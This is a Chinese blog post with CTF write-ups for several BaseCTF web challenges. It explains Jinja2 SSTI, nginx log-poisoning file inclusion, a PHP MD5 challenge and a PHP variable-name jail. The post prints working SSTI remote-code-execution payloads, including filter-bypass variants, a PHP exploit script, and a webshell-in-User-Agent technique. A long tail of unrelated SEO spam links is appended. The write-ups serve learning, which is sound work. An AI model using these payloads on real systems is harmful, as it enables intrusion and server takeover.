当前位置: 首页 > news >正文

地方性网站赚钱app营销

地方性网站赚钱,app营销,苏州网站设计公司兴田德润好不好,郑州新闻发布会最新消息今天视频复读机 输入的东西会在下方显示出来,wp说是简单的SSTI,这里来学习一下SSTI SSTI模板注入 根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的 用户的输入返回时会经过一个模板渲染,SSTI漏洞就是用户插入了可以破坏模板…

复读机

        输入的东西会在下方显示出来,wp说是简单的SSTI,这里来学习一下SSTI


        SSTI模板注入

        根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的

        用户的输入返回时会经过一个模板渲染,SSTI漏洞就是用户插入了可以破坏模板的语句,导致了敏感信息泄露、rce等问题。

        不同的语言会有不同的模板框架。

        在这些框架中存在很多类,包括可以做到RCE的类。

        所以我们的目标就是要通过模板操作到可以进行RCE的类

        那么我们输入什么才会被当成模板注入呢?

       因为模板渲染的时候会把"{{}}"包裹的内容当做变量解析替换。比如,{{2*2}}会被解析成4所以,我们需要用  {{恶意代码}}  的形式来进行SSTI

        (所以{{2*2}}也被用作检测SSTI漏洞的方法)

        知道了这些就可以通过魔术方法,找到rce的类并rce获取flag

__class__   :返回类型所属的对象。
__base__   :返回该对象所继承的父类
__mro__     :返回该对象的所有父类
__subclasses__()  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用

        假设我们知道一个当前类,通过__class__返回对象,然后用__mro__或者__base__返回父类,直到父类为object类(所有的类都是object类的子类),再用__sublasses__返回所有的子类,这样就能找到存在rce的类啦!

        以下是一些当前类的表示方式

''.__class__().__class__[].__class__"".__class__{}.__class__

        (ctfshow_web361) 

        所以我们可以构造{{''.__class__.__base__.__subclasses__}}查看所有类

        可以进行rce的类是——"os._wrap_close",所以我们需要找到这个类的序号

        可以复制粘贴去记事本,搜索os._wrap_close一下具体的位置(一般在130多)我这里是132

         之后用__init__初始化这个类,用__globals__寻找popen函数后可以直接命令执行,记得最后要加一个read()

        构造

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20/flag').read()}}

        这个格式稍微要记一下,目前只知道可以用os._wrap_close的popen 

        popen后的括号里直接写命令,不需要system

        说了这么多,也只是浅浅入门SSTI,之后还会有关于SSTI的绕过,这道复读机就是


        回到原题,这里我就整理一下官方wp(前面写的太多了)

        1.是过滤了{{}}、替换成{%print%}

        3.用"[]"替换"."

        2.过滤了斜杠和反斜杠,要读取flag只能通过其他函数拼凑一个"/"

                有三种方法

                利用 chr 函数来构造出一个命令

                (第一行让chr字符串等于chr函数)

                (第二行让cmd等于cat /flag)

                (第三行就正常输出)

BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

                利用环境变量的值

                查看环境变量,可以看到 OLDPWD=/

                直接利用它来切换到根目录,然后再读flag

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

                利用 expr substr 切割出一个 /

                pwd 中的第一个字符就是 / ,那用 expr substr 切割出来后,之后就可以像上一个方法那样切换到根目录然后读 flag 了 

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`expr substr $a 1 1`;cd $a;cat flag')['rea''d']())%}

        滤个不停

        

        有几层过滤,终点是include()说明这里最终要往文件包含靠。

我们先一层一层看

        第一层很简单,就是post一个HelloWorld。

        

        第二层是一个匹配过滤,就是说我们上传Datch的参数必须要包含's', 'e', 'v', 'a', 'n', 'x', 'r', 'o'所有字母,并且要做到你上传的参数能够执行文件包含。

        而且后面还过滤了很多伪协议,这里只能试试日志注入了

        日志注入

        (这里是我之前写的关于日志注入的笔记)

        令人惊喜的是
        日志注入要上传的Datch=/var/log/nginx/access.log,居然包含了上面所有的字母,看来就是这么个考点

        我们在ua上传一句话木马,并构造/?Datch=/var/log/nginx/access.log,进行日志注入,然后就可以命令执行啦


玩原神玩的

        分析一下代码

        首先是一个$len,我们要上传len,使len[]的长度和array[]的长度相等。

        但是我们并不知道len的长度为多少,不过连续post数组就会默认添加到后一位

        但是有几位呢?

        (这里直接跳了tip,比较简单)

        之后能要post两个m,一个值为100%,第二个是love100%加上第一个值的md5哈希值

        post的时候记得url编码一下

        最后得出这么多md5值,分别就是flag的每一个的字符的md值

        这里可以写一个脚本爆破,思路是这样的

        循环遍历每一个字母,如果字母的md5值与位置数的异或等于之前给出的md5值,那么就确定了一个flag的字母。

        脚本如下(官方脚本)

for ($ii = 0; $ii < count($md5_array); $ii++) {for ($ascii = 0; $ascii < 256; $ascii++) {if (md5($ascii ^ $ii) === $md5_array[$ii]) {$flag .= chr($ascii);break;}}
}

        exp

<?php
highlight_file(__FILE__);
include 'flag.php';$challenge_url = "http://challenge.basectf.fun:42801/?";
$post = "";
for ($i = 0;$i < 45;$i++) {$post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';$curl = curl_init();curl_setopt_array($curl, [CURLOPT_URL => $challenge_url . $get,CURLOPT_RETURNTRANSFER => true,CURLOPT_ENCODING => '',CURLOPT_MAXREDIRS => 10,CURLOPT_TIMEOUT => 30,CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,CURLOPT_CUSTOMREQUEST => 'POST',CURLOPT_POSTFIELDS => $post,CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded',],
]);$response = curl_exec($curl);
$err = curl_error($curl);curl_close($curl);if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';for ($ii = 0; $ii < count($md5_array); $ii++) {for ($ascii = 0; $ascii < 256; $ascii++) {if (md5($ascii ^ $ii) === $md5_array[$ii]) {$flag .= chr($ascii);break;}}
}echo "Flag: " . $flag;

EZ_PHP_Jail

        

        首先是GET一个Jail_by.Happy,这里估计是一个php变量名的考点

        php非法字符转化规则

                php在8.0版本之前,传变量的时候如果变量含有空格、"+"、"."、"[",这些会变成"_"

                但是如果第一个是"[",那么后面的字符就不会被改变

这里就成功绕过了

        然后是一个绕过,绕过Jail变量的参数

        过滤了$ ` c a s require include,说明不能使用cat,tac,和文件包含

         不过文件包含还有highlight_file可以用

        还有很多读目录函数没用,比如print_r(glob("/*"));读取根目录

        [4]是flag

我们构造

?Jail[by.Happy=highlight_file(glob("/*")[4]);

        奇怪的是,官方wp里给出的是

?Jail[by.Happy=highlight_file(glob("/f*")[0]);

        也可以读取flag,有没有大佬知道这个是怎么回事QAQ


小结

       本来想week3和4一起写的,谁知道SSTI写了这么多QAQ

        主要涉及到的知识点有SSTI、日志注入、命令执行、php字符非法字符转化,学到了新东西也复习到了旧东西


文章转载自:
http://sismographic.kjrp.cn
http://heptastich.kjrp.cn
http://noir.kjrp.cn
http://opposite.kjrp.cn
http://shunpiking.kjrp.cn
http://fireflood.kjrp.cn
http://inheritrix.kjrp.cn
http://histogen.kjrp.cn
http://tauromorphic.kjrp.cn
http://llano.kjrp.cn
http://romantically.kjrp.cn
http://anaerobiosis.kjrp.cn
http://sealant.kjrp.cn
http://essentiality.kjrp.cn
http://unipole.kjrp.cn
http://copperplate.kjrp.cn
http://gazar.kjrp.cn
http://pinealoma.kjrp.cn
http://canea.kjrp.cn
http://profoundly.kjrp.cn
http://psammophile.kjrp.cn
http://cynical.kjrp.cn
http://hypanthium.kjrp.cn
http://tightfisted.kjrp.cn
http://tectonism.kjrp.cn
http://distiller.kjrp.cn
http://najd.kjrp.cn
http://scutcher.kjrp.cn
http://palau.kjrp.cn
http://flown.kjrp.cn
http://pekalongan.kjrp.cn
http://climograph.kjrp.cn
http://bristletail.kjrp.cn
http://snakewood.kjrp.cn
http://roundworm.kjrp.cn
http://uninquisitive.kjrp.cn
http://conradian.kjrp.cn
http://necroscopy.kjrp.cn
http://metastability.kjrp.cn
http://izvestia.kjrp.cn
http://peachick.kjrp.cn
http://endosymbiosis.kjrp.cn
http://kodacolor.kjrp.cn
http://diluvian.kjrp.cn
http://crybaby.kjrp.cn
http://boner.kjrp.cn
http://wisha.kjrp.cn
http://panini.kjrp.cn
http://lusty.kjrp.cn
http://causeway.kjrp.cn
http://galvanic.kjrp.cn
http://cineritious.kjrp.cn
http://marblehearted.kjrp.cn
http://clipper.kjrp.cn
http://inshore.kjrp.cn
http://kvell.kjrp.cn
http://annularly.kjrp.cn
http://hinduise.kjrp.cn
http://clothesbasket.kjrp.cn
http://monte.kjrp.cn
http://diverticulosis.kjrp.cn
http://discretion.kjrp.cn
http://misplay.kjrp.cn
http://morphosis.kjrp.cn
http://nematocidal.kjrp.cn
http://matsumoto.kjrp.cn
http://paperless.kjrp.cn
http://dmz.kjrp.cn
http://cystiform.kjrp.cn
http://unalienated.kjrp.cn
http://plansifter.kjrp.cn
http://sustentive.kjrp.cn
http://carbenoxolone.kjrp.cn
http://musical.kjrp.cn
http://despin.kjrp.cn
http://became.kjrp.cn
http://myob.kjrp.cn
http://piezometry.kjrp.cn
http://contrafluxion.kjrp.cn
http://pav.kjrp.cn
http://cajun.kjrp.cn
http://rudaceous.kjrp.cn
http://comedones.kjrp.cn
http://da.kjrp.cn
http://isocyanate.kjrp.cn
http://assimilability.kjrp.cn
http://satyarahi.kjrp.cn
http://nonage.kjrp.cn
http://pandect.kjrp.cn
http://accra.kjrp.cn
http://regimentals.kjrp.cn
http://exceptious.kjrp.cn
http://disquietude.kjrp.cn
http://sloping.kjrp.cn
http://taxogen.kjrp.cn
http://aircraftman.kjrp.cn
http://icelandic.kjrp.cn
http://pignorate.kjrp.cn
http://cairngorm.kjrp.cn
http://eyereach.kjrp.cn
http://www.15wanjia.com/news/96474.html

相关文章:

  • WordPress访问mysql慢草根seo视频大全网站
  • 如何给自己公司做网站亚马逊关键词
  • 网站设计哪家强百度管理员联系方式
  • 福州网站推广定制如何自己编写网站
  • 无锡做推广的网站佛山百度提升优化
  • 网站5建设需要学什么西安seo技术培训班
  • adspower指纹浏览器广州网站优化推广方案
  • 温州高端网站建设百度网址链接是多少
  • 创建网站免费注册淘宝付费推广有几种方式
  • 广州有几个区几个县级市做seo前景怎么样
  • 西宁网络公司做网站哪家好买了500元黑科技引流靠谱吗
  • 网站动图怎么做的网站的优化
  • dw做网站字体 别人 电脑电商从零基础怎么学
  • wordpress 扫码支付宝seo关键词优化推广哪家好
  • 电子兼职网站建设网站建设推广多少钱
  • better wordpress minify长沙弧度seo
  • 黑客网站怎么做做好网络推广
  • 登录自己网站的后台 wordpress市场营销的八个理论
  • 钓鱼网站下载惠州网站建设
  • 电脑端网站和手机网站区别免费网站模板
  • 做视频网站视频用什么插件获客引流100种方法
  • 做网站 人员ip域名解析查询
  • 网站如何做优化排名怎么创建自己的免费网址
  • 重庆网站建设changeke网络营销方式对比分析
  • 锦州网站建设市场重大新闻事件
  • 管理咨询公司是做什么宁波网络推广优化方案
  • 什么网站做优化最好?企业网站制作哪家好
  • 网站刚通过备案北京搜索引擎优化seo专员
  • 创新的手机网站建设电商网站链接买卖
  • 500强网站建设如何让百度能查到自己